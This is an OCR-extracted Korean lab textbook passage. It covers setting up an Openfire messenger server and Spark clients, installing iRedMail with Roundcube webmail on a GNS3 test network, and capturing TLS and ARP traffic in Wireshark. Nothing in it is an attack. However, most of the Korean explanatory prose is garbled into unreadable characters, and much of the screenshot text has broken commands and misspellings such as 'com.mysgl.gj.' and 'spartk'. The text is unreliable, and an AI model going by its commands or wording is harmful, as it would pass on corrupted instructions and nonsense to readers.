| Standard Database Connection
' Use an external database with the bullt-in connection poal,

(y Embedded Database
Use an embedded database, powered by HSQLDB. This option requires no external

database configuration and Is an easy way to get up and running quickly. However, [t does

not offer the same level of performance as an exlermnal database.

Database Settings - Standard Connection

Specify a JOBC driver and connection properties to connect to your database. If you need maore information about
this process please see the database documentation distributed with Openfire.
Note: Database scripts for most popular databases are included in the server distribution at
[Openfire HOME]/resources/database.

Database Driver Presets |

JDBC Driver Class:

Database URL:

Username:

Passwaord:

* MySQL

com.mysgl.gj.

jdbc. Driver

Cio|EfH|o| A= MX|TH MyS
QL2 AtE3st22 0] THAof
M & [Standard Databases C
onnection]& MEiBtCE,

MySQLES {MEHSED, Databas
e URLOIAM CtZ 2719 &=
2 F3oict

HOSTNAME — localhost
DBNAME — openfire

Username, Passworde= MyS
QLo F7tet ALEAL AES
2ot}
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HElolIHYUnSEst d22S
@ B2X =2t MMsta d-HE 225t Of2lE admin@sunrincoma YEIUOLE AXH ZIAIA0E adminfh YEsH =ICH

Profile Settings
Choose the user and group system f

ey Default
= Store users and groups in th
deployments.

] ©Only Hashed Passwords
Store only non-reversible ha
and SCRAM-5HA-1 capahle

Directory Server (LDAP)
Integrate with a directory ser
pratocol. Users and groups

2. Openfire &3 &3

@ HAELME 0|23l0 http://192.168.1.250:90902 2 H
2|Xt OtO|C|Ql admin2 2 ZIQISHCt,

MAMSE 3

7| 2F0M Ydst

Openfire Admin Console - Mozilla Firefoxt

Administrator Account

Enter settings for the system administrator account (username of "admin”) below. Itis important to
choose a password for the account that cannot be easily guessed -- for example, at least eight
characters long and containing a mix of letters and numbers. You can skip this step if you have already
setup your admin account. if you skip this step during the new installation, the default password would
be "admin”.

Admin Email Address: |f°mtTtttttttreteereny '

New Password:

Confirm Password:

510 ALEA AY S FIIRIL

Messenger X

e

(5 Openfire Admin Console

G @ | @& 1921681250

C openfire’

@ MMM S2 A8E

Create User

Use the form below to create a new user

Create New User

Username: * staffoz

Name
Email

Password: *

Confirm Password: *

Is Administrator? ] (Grants admin access to Openfire)

Create User Create & Create Another

AR AZE Foretth 2o w2t OAF JEE

Cancel

><|+
@ 5

»

(=13
=

Of

tol AHEXHE

Members of This Group

go= maE 4 Atk

Create User

Use the form below to add users to this group. Once added, you will be able to remaove

Use the form below to.create a new user. users administrative rights over the graup.

Create New User Add User; Add
. Total Users: 2 - Users per page:| 25 v
Username: taftol
Username Admin Remove:
Name
= O
Email @] 0
Update Remaove
Password: *

Confirm Passwaord: *
|| {Grants admin access to Openfire)

Is Administrator?

Create User Create & Create Another Cancal

* Required fields

* Required fields
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3. Messenger 22t0|UE T7|X| HX| % &g

Openfire®| A H317| QM= XMPPE X8t S2I0|HE Tf7|X|Ql SparkE MX|otct MX|E T2 ML Spark0|H S2I0|HE 2
GHAMe R0 e HX ZEOWS CH2EESICL YR 2IAA el 42 JVM(ava Virtual Machine) &8 {|dl Java &

X7t 2eF £ Ut

7t. Spark AX]|

@ Spark I{7|X] HX[0f HR3t enpOs8Tt E-d2totCt.

2:~% sudo ifconfig enp@s3 down
$ sudo ifconfig enp@s8 up
ifconfig
63<UP,BROADCAST , RUNNING,MULTICAST> mtu 1580
inet 10.0.3.15 netmask 255.255.255.@ broadcast 10.0.3.255

inet6 fe80::b027:291d:c398:b474 prefixlen 64 scopeid Bx28<link=
ether 88:080:27:1a:40:4b txqueuelen 1808 (Ethernet)

RX packets 44 bytes 6728 (6.7 KB)

RX errors @ dropped ® overruns 8 frame 8

TX packets 88 bytes 11329 (11.3 KB)

TX errors @ dropped 8 overruns @ carrier 8 collisions @

@ HIZ AIO|EO| H£35H SparkE CH2=ZE it HEEIRKME O[83IHL wget BHE 0|83t
- BiZ A{O|E : http://www.igniterealtime.org/downloads/index.jsp

- CH22E FFO : wget http://download.igniterealtime.org/spartk/spark_2_8_3..deb

- MX| H™HO| : dpkg —i spark_2_8_3.deb

Ignite Realtime: Downloads - Mozilla Firefox (on client2)

Ignite Realtime: Downloads X | =+

& ¢ @ igniterealtime.org  J vy I @ =

Spark 2

1ss-platform real-time collaboration client optimized for business and orga

i Windows A Linux K Mac

D5

sunrin@client2:~$ wget http://download.igniterealtime.org/spark/spark 2 8
--2820-82-28 17:47:15-- http://download.igniterealtime.org/spark/spark 2 8
b

Resolving download.igniterealtime.org (download.igniterealtime.org}...
.59

@ 2EY TN HISHAH HAE2PHME Sl CH2RESHY EX|BHC.

[N

Jpening spark 2 8 3.deb

- Installing file
You have chosen to open: e
Additional softwa

spark_2_8 3.deb == il = "

which is: Debian package (28.2 MB) * Please take a look atth -"_-i\, Ins{alllng file

from: .. roduction-release-asset-2e65be s3.amazonaws.c | Cross-platfor 128.5MB more disk sp; [

organization a e
: s i Resclving dependencies

What should Firefox do with this file? @ ibatiewrapper-javi

) th | GDebi Package Installer {default) ~ B8 libatk-wrapper-javz b

Save File & openjdk-8-jre-head

Cancel

Cancel QK
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@ £ &°ll SparkE ™oLl 21F X 522 =21010| X Y= ZR [Advanced]? M S ZHETICE
& park
Advanced connection preferences
), | General | proxy | 550 [ pii |
- o kA Automatically discover host and port

® Spark
Username stafol

Password

Domain  |192.168.1.250

hd Save password

kA4 Auto login

[ Login as invisible

[ Login anonymously
Advanced

Accounts Login

@ staff01 AFEX}I} staff02 AFEAME

28 2718 4 Utk

FIFSCE staff02 AM A= CHEAt

Connection

Host

Resource |Spark
[ Use hostname as resou...

[0 use Spark version as resou...
Response timeout (sec) ]:U

[J Use old 55L port method

[ use compression

b Accept all certificates (self-signed/expired/not trusted)

[ start debugger on startup

J

[ [s]3 Cancel ] [Use Defa... ]

kA Disahle certificate hostname verification (not recommend. ..

Zo| 7 9%

2HOISEA, [Accept]dtO] ¥z 20| ALER =

Add contact

Add a user to your contact list
Username: |staff02
Nicknarne: ||

Group: ;Friends

kA Add user to your roster

] Username: staff0l@192.168.1.250
)
; Nickname: |staffol

= Group: éi’rlena.-s

Allow staff01@192.168.1.250 to add you to their roster?

Accept  Profile Deny
® staff01 ALEAL7} staff02 ALBAHE FIIEHCE staff02 AFE A= CHEZ3b 20| 71 @8-S =I5, [Accept]dt] 2 7H0] AMBAL =
22 378 + Ak
11 ME, 1E MY, 1Y B S CHUs AU Suy 4 Ut
1 ﬂ'ﬁ.’ﬁ;_ il L ﬂ'i’.”iili_i
| staffo2 | @ staffol
File Contacts Actions Help g | staffo2 2 % 8] ¢ staffol 2 % 8
staff02 — S —
@ Ghline (18:50) staffo2: hi~ {18:59) staff02: hi~

Friends {1 Online)
@ staffil_—Etre=toc

[Z] send = file

@ Remove from roster
. Rename
Move to 14
Copy to 4

(18:59) staff02: hi~ yo~~
(18:59) staff0l: hi~

0

spark_2_8_3.deb (28.2 MB)
Time: (00:00:02)

hello:c (64 bytes)
Time: (596:31:23)

(18:59) staff02: hi~ yo~~
{18:59) staffol: hi~
File transfer request:

O

spark_2_8_3.deb (28.2 MB)

@ Accept @ Rej...
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15 MUY Me 1%

QT AA 7|dtol A HY MH|AE Zimbra, Roundcube, iRedMail, hMailserver S CIY&}A H{ZEZ|D QCH O] ZEXMEOA 0|8
iRedMail Tj7|X|= Z|E3, CentOS, CiH|QH R&FF, FreeBSD, OpenBSD &2 EMEUAM A8 743t EESH Postfix, Dovecot, Apache,
MySQL, PostgreSQLIt 20| ¥ O AMH| A0 Zast CtAst IH7 (X2 HX] 2T EEE 0|8310 &7 HXg = UEE XYt

ot
P 9F A2 U5 ¥ ¢

Zimbra - https://www.zimbra.com Roundcube - https://roundcube.net
iRedMail - http://www.iredmail.org hMailserver - https://www.hmailserver.com

O Z2MEN M= iRedMailE 0|8310] @ 0| MHE 5L [13 DNS 2F]0M ATt Z2HMES 2T abc.com, xyz.com2

o
T E0Qe 0|83t MY FAE YEstn, M2 WS F1 ws = UEF YL

1. 458 HERA EEEX| Y Z2E 3/
oM Fdet EEZX|0] ofzfet 20| 2R, 22X, DNS MHE F7IoiCh 2tH 478 U DNS MH F7h= 219 [11 MY 75 4
&8 HERA EEEX] 52 ¥ICh
= HEQI FHE
500 14.58.90.5/30
s0/1 1458.90.9/30
enpls3 192.1681.10v24 a0/ 132.168.1.254/24 80,0 14.58.90.6/30 enp0s3 1252541.100.10/24
enp0ss NAT fal/A 210100.100.254/24 1a0/0 125241.100.254/24 enplsg MNAT
I
Client SW1 R R Swz XYZ.C0m
1200 (SR)s00_s00(SR) fa0/0 @
fab - L._.-J .
Client2 abc.com e DINS
1a0/0 @ .
R3
\ N \
enp0s3 192.168.1.20/24 || enp0s3 210.100.100.10/24 5040 14.58.90.10/30 enpls3 8.8.8.88/24
enpls8 NAT enpds8 NAT fal/0 BR.8254/24 enpls8 NAT
¥xg | == PFA b2 Xy | =e T4 b2
s0/0 | 14.58.90.5/30 Client enp0s3 | 192.168.1.10/24 20| E
RT s0/1 14.58.90.9/30 Client2 enp0s3 | 192.168.1.20/24 20| E
fa0/0 | 192.168.1.254/24 GW DNS enp0s3 | 8.8.8.88/24 DNS A{H
faO/1 | 210100.100.254/24 GW abc.com | enp0s3 | 210.100.100.10/24 MY MH
R> s0/0 | 14.58.90.6/30 xyz.com | enp0s3 | 125.241.100.10/24 oY At
fa0/0 | 125.241.100.254/24 GW
/ / ZE|XF AE HE : root / sunrin
Ry | S0/0 | 1458.9010/30 * s0/0 = Serialo/0  %fa0/0 = fastethernet0/0
s0/0 = Seria a0/0 = fastetherne
fa0/0 | 8.8.8.254/24 GW
g oY HdEs E2 O3t 220, MEish Hfz ool et b5 182 ZatE 5= UCh
HEH=Z Ze oi7|X| X 23 EE mj7|x] x| & HEXZ o A SAE0NM
48 | 7| oeRe |7 4 - % -t My -
2. abc.com 7}
HEYZ FHEIE O3 20| EEEX|0f AKX SW4, abccomE F74etCh Est 2t2E R12| QIEHO|A MY, 2t2E 4% 50|
ZHasiCh Jtanilel M, GNS 88 &2 [I =% TH[IE ®ILSICL abccom xyzcoms SAStD HESS HFS #WPSI0 A8
£ ULk

7l HES3 €%

@ 2H2E R12| Fastethernet0/12] IPFEAE ANsiCt,

#no shu
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Lt abc.com 4’4 U fetc/hosts Tt =
abccom2 M2 MMBIHLE xyzcomS EXSI0 SAEH Y, HEYR MY 52 M5l AF2E 4= ULt abccom M4, GNS 52 5
S [1 +9 FH]E MDD 0| L M),

@ iRedMail2 EX|5t7| I8HME /etc/hostname, /etc/hosts THUO| mail.iredmail.org?t Z0| FQDN F7t7t ZQ3iCt,

mail.abc.com

com maill localhost

Ct. abc.comO| iRedMail 2% % 4E%H

@ wget https://github.com/iredmail/iRedMail/archive/1.1.tar.gz2 ZL2%+ MAUS CHREE HCL
ChRECS oY A2 & http//www.iredmail.orgO| Al =HQISHCE

1.1targz TH0| iRedMail-1.1 CIHE2|Z 20| SiHE HS =g 5= AUCL

o0t @s “# 1z -1

® iRedMail2 HX|E 23t @ A3EEE HIsiCh X8 4 A3YUEN= & HY =E
MariaDB, PostgreSQL, RoundCube Webmail S1f Z2 T I{7|X|0f CHt CHR22E W M oI
g2 S| 2t AABER O|R0{KN QUCtH TR0 w2t AIBEE -5t HEe 5
bash iRedMail.shE &3l HX|E THSCH HERZR Ao e X0 23 Ij7|X| CHREE
root@mail:"™ i i
[ INFO ]

[ INFO ]

22t Postfix, Dovecot, Nginx,
4, Ut 58 Y £t 59

ibuntu. ! bionic InRe
ubuntu. comy tub ic
1huntu

ubuntu

Lubuntu.c tu bionic-
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Welcome and thanks for your use
Welcome to the iRedMail setup wizard, we will ask you some simple
guestions required to setup a mail server. If you encounter any trouble
or issues, please report to our support forum:
https://forum. iredmail. orgs

NOTE: You can abort this installation wizard by pressing key Ctrl-C.

® MHOIM AI8E AMHE MEIBITE NginkS M EBHCY.

Preferred web server
Choose a web server you want to run.

TIP: Use SPACE key to select item.

The: SE[YET]
() No web server I don't need any weh applications on this server

Password for PostgreSOL administrator: postgres
Flease specify password for PostgreSQL administrator: postgres

WARNING:

* Do #NOT* use special characters in password right now. e.g. %, #, @,
space.

* EMPTY password is *NOTx permitted.

* Sample password: OF ixTRfrdMwlvscHfg@MsrRZbhalko

FofRIORK

® WYl MEEEs B2E XFstt. 7242 /var/vmailO| Tt

Default mail storage path
Please specify a directory (in lowercase) used to store user mailboxes.
Default is: /varsvmail

NOTES:

* Depends on the mail traffic, it may take large disk space.

* Maildir path will be conwerted to lowercases, so please create this
directory in lowcases.

* It cannot be /war/mail or /root.

* Mailboxes will be stored under its sub-directory: svars/umailsumaili/

# Daily backup of SAL/LDAP databases will be stored under another

sub-directory: /war/wmailshackup.

Avar/umail_

Choose preferred backend used to store mail accounts
It's strongly recommended to choose the one you're familiar with for
easy maintenance. They all use the same webmail (Roundcube) and admin
panel (iRedAdmin), and no big feature differences hetween them.

TIP: Use SPACE key to select item.

n_open_source_lmplementation_of LDAP_protocol
ed, _dr

®@ g MH<Q =2 WS

r_Solution

QESICE abc.come

Your first mail domain name
Please specify your first mail domain name.

EXAMPLE:
* example.com
WARNING:

It can *NOT* he the same as server hostname: mail.abc.com.

We need Postfix to accept emails sent to system accounts (e.g. root), if
your mail domain is same as server hostname, Postfix won't accept any
email sent to this mail domain.

abc.com

MEISICE PostgreSQLS MEHSIT

.
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Password for the mail domain administrator
Flease specify password for the mail domain administrator:

* postmaster@abc. com

You can login to webmail and iRedfdmin with this account.
WARNING:
s« Do #NOTx use special characters (like $, white space) in passuword.

* EMPTY passuord is #NDT+ permitted.
* Sample passuord: LLZLOORVHSCAr87GQIEHGPWEbACE) ]

ORI

D XSOA Meish Alge stolsin, M MM ofRE Eirt yE
L3 0j7|X|ol CHeRET AMEDH YEYD Ao e Be

L

e e e e e e e e e e e e e
R AR ASK A A AARARAOR KRR R R Aok P Aok HEKROR K ROR KRR KRR R RS AR
ot SR

dAdmin FailZban

@ 2X FHo] SSH &S Y3t 0 FIILR SO2Ct yE
BTt

e e e e
Gtart iRedMail Conflgurations

INFO ] Benerate self-signed bite
INFO ] Generate Diffie Hellman Group with oper
INFO ] Create required M accounts,

INFD ] Conf e Nglnx web server,
INFO ] conf ’,
INFO ] configure Post
INFO ] Setup dally cron
INFD ] Conf e f
INFO ] conf lg Ve DAY .
INFO ] conf g
INFO ] conf
INFO ] conf
INFO 1 confl
INFO ] confl
INFO ] confl
INFO ] canf
[ INFO ] conflg
[ INFO ] conflg

Lsd-new (interface n MTA and content checker
In (content-ba: pam fllter),
stfl 1ley daemon) .
didmin (offliclal web-based admin panel).
Roundcube webmall.
retdata.
E 1+ tauthentication fallure monltor).

e e e e e e e e
¢ iRedMail-1.1 Installation and configuration complete.

fon » Would you Llike
File to/de

wall rules
th

Optional components
* DKIM signingsverification and SPF validation are enabled by default.
* DNS records for SPF and DKIM are reguired after installation.

Refer to below file for more detail after installation:
* ¢root/iRedMail-1.1/iRedMail.tips

[ 1 s0Go

[¥] netdata

[%] IRedAdmin
[%] Faileban

Popular webmail built with PHP_and
Hebmail, Calendar,_Address_book
Awesome_system_monitor
Official_web-hased Admin_Panel
Ban_1P_with_too_many_passuord_fallures

Metsj MXE B
AlZto] 2 4 k.

amdgd 1il

e amdéd d

hionic
untu bionic
buntu bionic
untu bionic

buntu bioni

X7 rE|0 R2A AY, HARIE S2
enp0s32h 225t Y2 oot

iR il-1.18 &
/iRedMail-1.1# re

X7 22 O3 22 URLS ¢t
=

=
Qo

AHIALZ X2 Roundcube Webmail

https://mail.abc.com/mail/

https://mail.xyz.com/mail/

HY ME 2K Web Admin Panel(iRedAdmin)

https://mail.abc.com/iredadmin/

https://mail.xyz.com/iredadmin/

"
"
1 2L|EHE Netdata

https://mail.abc.com/netdata/

https://mail.xyz.com/netdata/
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2f. MY AMH 22| U ALK AE M-S 22| 12 URL : https://mail.abc.com/iredadmin/
@ iRedMaile| 2| T{E0| 2IAQITICE. https ASME SGSHA| YUY2L2 [Advanced|E MEBHL 02 X2[E FIIStLt.
. Insecure Connection - Mogzilla Firefox L
ﬂ Insecure Connection b4 - -
& @ @ httpsy/mall.abc.com i w m o =
The owner of mail.abc.com has configured their website improperly. To protect your information from being
stolen, Firefox has not connected to this website.
Learn more...
Report errors like this to help Mozilla identify and block malicious sites
Advanced
o 3%

@ [Add Exception.]2 220] ST AOIE] https IBA MzIHo| et o9l XalS HECL HACR 2AsHE HY A
ASHE wots A2 ML

A Insecure Connection X +

Add Security Exception ‘

" You are about to override how Firefox identifies this site.
. Legitimate banks, stores, and other public sites will not ask you to do this.

Location: weps:/imail.abc.com f Get Certificate
This site attempts to identify itself with invalid information. View...
Unknown Identity
The certificate is not trusted because it hasn't been verified as issued by a trusted authority using a secure signature.
Tk
Er &4 Permanently store this exception

Confirm Security Exception Cancel

Add Exception...
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® 2|8 AHEQ postmaster@abc.comlZ Z1QIBHCL

Login To Manage Your Mail Domains & Accounts - Mozilla Firefox

Login To Manage Your Mail Dom- X | +

% cC @ © g ho abi.comfiredadr i <

Username  postmaster@abc.com

Password | sssee

E Remember me English (US)

@ 59| [+Add.] - [User]E MESIY T AFYES dde 5 ACL

Domains and Accounts - Mozilla Firefox

Domains and Accounts x - +

s c @ @ B h abc.comviredadr i s o

iIRedAdmin

iRedMail Admin Panel

Dashboard Admins System + Add...

All domains under your control. (1-1/1) b2

» User
|:i Domain + MName PO
(] abc.com ) -

Choose Action -:1 Apply

iRedMail Project | News & Announments | Support
T L L L
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Add user under domain: abc.com X

® MEA AFYE dg5tn, jAUEE
dgot A8t At} AHEY SS Ma

A

= QUL

ilbox QuotaZ X| &gt

Add user under domain: abc.com - Mozilla Firefox

I

et} 0| AMBAZE 200510 HAQJES BMBE0 A8

€ > C B oY

Dashboard

Domains and Accounts

Tiail.abc.comiire

Admins

System

@

Add user under domain: abc.com ¢

Mail Address * I @
o ©  abe.com ) Need a
FcQgbL:
New password * At least 8 characters.
Confirm new password * | e
Display Name
Mailbox Quota MBE
® AHEX AEE WMstl, WAQEE HHSICH O AMEXI7L 20180 MAQJEE HASHH AHEE £ UCh
MMt AFEXEO| X|Cf AHE ™ 52 Mailbox QuotaZ A|HE == ULt
~ Add user under domain: abc.com - Mozilla Firefox =
Add user under domain: abc.com X | +
e d @ N 3il.abc.comyireda ses i I O =

Dashboard

Domains and Accounts

Admins

System

Add user under domain: abc.com ¢

Mail Address *

New password *

Confirm new password *

Display Name

Mailbox Quota

abc

characters.

Atleast8

MEB

Need a
FcQg6L:
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Roundcube Webmail :: Welcome to Roundcube Webmall - Mozillz Firefox

UHIALE X} URL : https://mail.abc.com/mail/

https://mail xyz.com/mail/

& Roundcube Webmail : Welco: % | 4
&« ¢ @ @ & abe.com ube Webmail = Compose - Mozilla Firefox -
& Roundcube Webmail : Comp X | =+
- ¢ ® D8 abe.com - © 1 N @ =
AB
g @ ® Vil Options and attachments
| Save Attach Responses  Spell
From abc@abe.com s & Maximur
To xyz(@xyz.com X = +
= | abc@a !
Subject test mail
a sranssans
1a]
test mail from abc@abc.com
o 2020.2.28
Return receipt
@ abc@abc.com@t xyz@xyz.comO| M2 S F1 &2 &= ULt
P P Client 2 (1% 21 - Oracle VM VirtualBox
oE oY =27 g 3N ESE
| Roundcube Webmail :
& Roundcube Webmall 11 X | i (3) Roundcube Webmall 3 & (2) Roundcube Webmail zInl X | ==
&« G @ 1) & abc.com N XYZ.LOmI e & Y in o =
Inbox e 2 Inbox £ i * v Lo v o % -
Reply Replyall  Forward Delete  Mark More
= v = - w .
hi~ B Re: hi~ &
and e From abci@abe com on 2020-02-29 09:21
* hi~ = Details

this is

test mail

Threads 1102 of 2 1 Threads 1to 3 of 3 1

On 2020-02-29 09:11
this is my first m
ok!

m wrote:

ail

General Details
Could not verify this certificate because the issuer is unk

Issued To

Common Name (CN)
Organization {Q)
Organizational Unit(OU) IT
Serial Number

mail.xyz.com
mail.xyz.com

58:28:04:15:21:96:80:52:77:83:58:1

Issued By
Common Name (CN)  mail.xyz.com
Organization (0) mail.xyz.com|
Organizationa| Unit {OU) IT

Period of Validity
Begins On

Expires On

February 29, 2020
February 26, 2030

Fingerprints
SHA-256 Fingerprint

:B7:61:A3:FB:84:FE:
:BB:FD:83:91:48:7C

SHA1 Fingerprint AD:6A:6D:32:4C:04:A4 FD3F.BB.B5.24:84:15:68.C8:84:FF.BB;5A

Close

Diffie Hellman Gr

T (2048 bi
oup with ope

in 10y

nait.

iRedMail X MHOM WHE self-signed SSL Cert W-HHOICE Lot O|F HEERXMOIM &olg %= ACE https;/mail.abc.com]
AIBME AF =&QIsta, httpse| 91F A, Diffie Hellman €12|F, SHA-25601 CHsl X OtEA|2.
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c.com tiyl
&~ Roundcube Webmail ; Inbox X | =

<~ c @ [ON: abc.com

| & Roundcube Webmail :: Inbox

L)
Reply | €= ¢ o Oy > Xyz.Com

LT | (g

Reply Replyall  Forward

hi~ &

Reply to sender

= R From
this is my firsg

& 15_Project Webmall gns3 - GNS3

File Edit View Control Device Annctate Tools Help

n=d OF> > HC

Topology Sum
abe.cam
Client
Client 2
Client 3

ONS
e

Client 2 /a

i

Hyz.com

Servars Bumm-+ 3= I8
Local CPU 4+

4

Console

GMNE3 management console,

Running GNS3 version 1,54 on Windows (G4-bit) with Python 36,0 Ot 5,7.1,
Copyright (o) 2006-2020 GMS3 Technologies,

Usge Help =» GNS3 Doctor to detect common issues.

@ O - e

0

A tE 7 ) O 9F 1037
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QO[O AR (Wireshark)y= WEIHL T2 242 {8 M&3l= 2L 2Bz O|FE]| Y (Ethereal)2l WIRESHARK
SEHTOICE GNS3E 2X/g 4% 44X 40| ZEof Aen, gz 4X|5t7| fsiM= ofzfe| 34 AO|EE O|8%tH ECh 34
AOIEE &3l Mz2 HE & 7|2 A8Y, M2 Y 52 HIS &e = U
= 2tO|OJAFR ZH|O|X| : http://www.wireshark.org
QtO|AtAE 0| 8%t Izl EME S8l WERA O|20|A HIRE OSI 7Layer, TCP/IP Z2EE S0f Cis) =olsiy stgd = QUL
1. A58 HEQ3a EEZX
&2 [13 DNS 230N Fdst HEYAE o]ttt CHE EEZX|E O|8dE =0 EE2X Yol E& ZAETJ HAst A2 o
Lo2 Zast JhymAlot 2EISH0] ALESICE S2t0|HE AFEQL HTTP A, DNS A Ato|of FiHh= IHZIS O|AIRE Soff 2
M3St0] OSI 7 Layer, TCP/IP ZE2EEZQ| #+X & & HX} S0 OishM =elgr 5= Uk
= EQI FHE
N e s0/0 14.5890.6/30
fa0y0 125.241 1 Af24
fal/0 102.168.1.254/24 A
SW1 e w2 yzcom
fa0/0 @nwﬁ SO/0( SR a0/ @
s0/1
DI
2N : enp0s3 125.2541.100.10/24
Client @ : enp0ss NAT
R3
N\ \
enp0s3 192.168.1.10/24 | | 50/0 1458.90.10/30 enpls3 B.B685/24
enp0sB MNAT 1a0/0 2828.254/24 enpls MAT
XY | ZE IPFA H|3 gXY | EE IPF2 H| 2
s0/0 | 14.58.90.5/30 Client | enp0s3 | 192.168.1.10/24 Z20|QE
R1 s0/1 | 14.58.90.9/30 DNS | enpOs3 | 8.8.8.88/24 DNS A{H|
fa0/1 | 192.168.1.254/24 xyz.com | enp0s3 | 125.241.100.10/24 CHYE AMH
- s0/0 | 14.58.90.6/30
fa0/0 | 125.241.100.254/24 22Xt AE HE : root / sunrin
R3 s0/0 | 14.58.90.10/30 % s0/0 = Serial0/0  %fa0/0 = fastethernet0/0
fa0/0 | 8.8.8.254/24
07l 282 020 22 =AM2 T
izl 2ME g pzh MY - izl 242 flsh AHm oA HE QO|AIRE &% 2 24 A%
7t o3l 2o 72 M
@ WS 2437| RIiM= HAH S 2M5Y| e #7HE WEGHoF St TiZle MY P WG| fIsiM= ARG AR}
st 7ol Ao otea @2Z HEZ ZESICL [Start capturel2 M =, I{ZIS #MT &KX U QIEHO|AE MEBCL Of
M HEOMe 2t2E R12| FO/0 QAHLO|AS WAL
2t E R12| FO/02 SW1IF HAEZ0{AD SWI12 Client?t HAE0f JACBZ Client?} FoE BE TS ANY £ ULt
XyZ.com
R1 R2
SwWi —1111] : ahals -
—=  PLLLI T 6 Packet capture ? *

f 2.5
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L. 2LojofAba B4 O QIE
© HAS BHE 774 QEBO|AS Meys)

Qt0|OfAFA 2| QIHIO|AE CfZ1f 20

A QIE{H O] A

x =

MElSLR QLO|OjAFRT} AME|D KIS IjUS BAISICH
z

! =
TEE0 JA2H, ZF FEO| 7|52 of2fiet

,d *- [R1 FastEthernet/0 to SW1 8] — O *

A EFiIe Edit Wiew Go (Capture Analyze Statistics Telephony Wireless Tools  Help

21132 192.168.1.18 125.241 .188... TCP
21133 192.168.1.18 125.241.198... TLSv1.2

Frame 21133: 583 bytes on wire (4664 bits), 583 bytes captured (4664 bits) on interface 8 ~

i> Ethernet II, Src: PcsCompu d3:f8:78 (88:008:27:d3:¥8:78), Dst: c¢B:81:37:08:00:00 (cB:01:37:¢ i

® Internet Protocol Version 4, Src: 192.168.1.18, Dst: 125.241.1686.18 :
> Transmission Control Protocol, Src Port: 55826, Dst Port: 443, Seq: 1, Ack: 1, Len: 517

..... T an s pOrt LAy er e CUr Y et
< >
o g'ETBEB'"':':'B"BI"37"E]EF'BB"EEB"EB"EIB'"'2?"d'3"1‘-‘8"78"68"1&8"43"@ ......... Frrrr x'EI ................................... %
1 0018 ©2 39 92 10 40 06 40 @6 03 01 <@ a8 ©1 Ba 7d F1 9 @@ ook
@ 7 wireshark_-_20200229132543.a02372, pcapng ': Packets: 85204 - Displayed: 73 (0, 1%) Profile: Default
O O 3 OIO|22 O|83%t0 AN, 24, &4 &2 S 21d © WNE WAS EoELCH
g = QACh © OO0A MENSE THZIo| MM HEE TCP/IP 7|FE22 HOELL
O CiY 2UES X[FstY st WS THEY & = UCH © izl dMHEEE 167l U 272 Ho50 HOoFEL}

2. ARP i3l £
ARP TfZl2 LANOIA EAME 37| 8l IPFABHAZ)E MACTL2RAZ)ZE kst Qs b k| o] Fagk= mjzlo|ct
Client(192.168.1.10)2t 2H2E{ R1(192.168.1.254)0| =1 Hr2 ARp I§ZI2 £ SEH2|E Ols|T 4= UL}
E-

© EH &=0M arpE YUY T [Apply]E St =HE A SO ARP I{AEH ETICE ARP T2l SOIM H HRY DjzlS o
Ei5to] STt MR eR0iM WES =elstit

,ﬂ *- [R1 FastEthernetd/0 to SW1 8] — O *

File Edit “iew Go Capture Analyze Statistics Telephony Wireless Tools  Help

AW .3 @ TRE Re=2=2F 5= aAaQaH

(B [arm %] =] Expression--  +

e R dbclimatin ______|Beloesl lasnale g
93756 YPcsCompu_d3:f8:78 Broadcast ARP 50 Who has 192.168.1.2547 Tell 192.1
93757 0:01:37:08:00:00 PcsCompu_d3:f8:78 .ARP | 60 192.168.1.254 is at c@:01:37:08:¢
93975 PcsCompu_d3:f8:78 Broadcast ARP 60 Gratuitous ARP for 192.168.1.18 (
94587 PcsCompu_d3:f8:78 cB:Bl:37:E}S;BﬁEBB ARP 60 Who has 192.168.1.254? Tell 192.1

© EEEEEE e e s & ’..".- RE=TAE S R i == nn)'
Frame 93756: 6@ bytes on wire.(480 bits), 60 bytes captured (488 bits) on interface @ a

v Ethernet II, Src: PcsCompy-d3:f8:78 (08:00:27:d3:f8:78), Dst: Broadcast (ff:ff:ff:ff:ff:ff

seurces. -PesCompu_d3.:£8:78..(08:00:27:43:.18:78 i
< >
0000 ff ff ff £f ff ff [ECEVRERCIEL ©8 06 00 01 - - .- - . .. N
68 00 06 04 @0 ©1 88 80 27 d3 f8 78 @ a8 01 0a e,
020 @0 90 0@ 6O 0O 00 cB a8 ©1 fe 6O @0 0O 60 00 00
W

@ 7 wireshark_-_20200229143040_a 12532, pcapng || Packets: 98936 - Displayed: 214 ¢0,2%) || Profile: Default
AW D2 192.168.1.102] IPFAE 7T HFET 192.168.1.2542] IPFAE 7Tl HFHO| MACELAE LotET| &) slig LA
N&o| E2EIWAE oF TjZI0|CE LAN 42| BE FHA|= ARP I{ZlE 21 ST E|l= 192.168.1.2542| IPFEAE 71X FHAl= Xt M

AC F2E g2 S mzlE 4ds5to a¥st XA &l




[16] 2A0IHAZE Ol88 I3 24 [99]
HEolEY DS L5

@ ARP TiZl SO|A &= HW D22 192.168.1.2542] MACFAE Q%= TZ0| Ciet SE THZI0ICE ARP SE Zl0= 192.168.1.
2540] s &ste &X|2] MAC F=AQ 0:01:37:08:00:000] Z3HE|0f UCE
d *- [R1 FastEthernetd/0 to SW1 8] - O =
File Edit Wiew Go (Capture Analyze GStatistice Telephony Wireless Tools  Help
_____ _ RE Qe=22F T EQAqQan
EIE %] ~| Expression--  +
N-t'n,' ------- ‘.‘Source Destination Protocol  Length  Info ]
93756 PcsCompy_d3:f8:78 ... Broadcast . . ARP ... 68 Who has 192.168.1.2542 Tell 192.1
93757 YcB:91:37:08:00:00 PcsCompu d3:f8:78  ARP 69 192.168.1.254 is at cB:01:37:088:i
93975 PcsCompu d3:18:78 Broadcast ARP 66 Gratuitous ARP for 1562.168.1.10 (v
< 2
Hardware size: 6 a
Protocol size: 4 .. ... At eee e
i Opcode: reply (2)
;Sender MAC address: c@:81:37:08:00:00 (c@:81:37:08:00:00) |
i Sender IP address: 192.168.1.254
ETanet MAC address: PcsCompu d3:f8:78 (88:08:27:d3:8:78) i
 Target TP address: 192.168. 128, ...} v
< >
0010 ©8 00 06 04 [P 0 @1 37 63 B0 60 @ a8 01 fe  ----[H-- 7------- A
8@z B8 BB 27 d3 f8 78 cB a8 ©1 Ba 0O GO OO BO 0O 6B R T v
& ¥ Opcode {arp,opcode), 2 bytes Packets: 129519 - Displayed: 334 (0.3%) || Profile: Default
izio| ME HEOA [EthernetI] — [Source] =20 192.168.1.2542| IPFAE 7tTl SAEQl MAC FAQl ¢0:00:0c:30:00:000| =
SE g HwIE 4 Uk

I
Il
~
fn
o
oin
Jn
i
Z
>
(@)
M
>

©

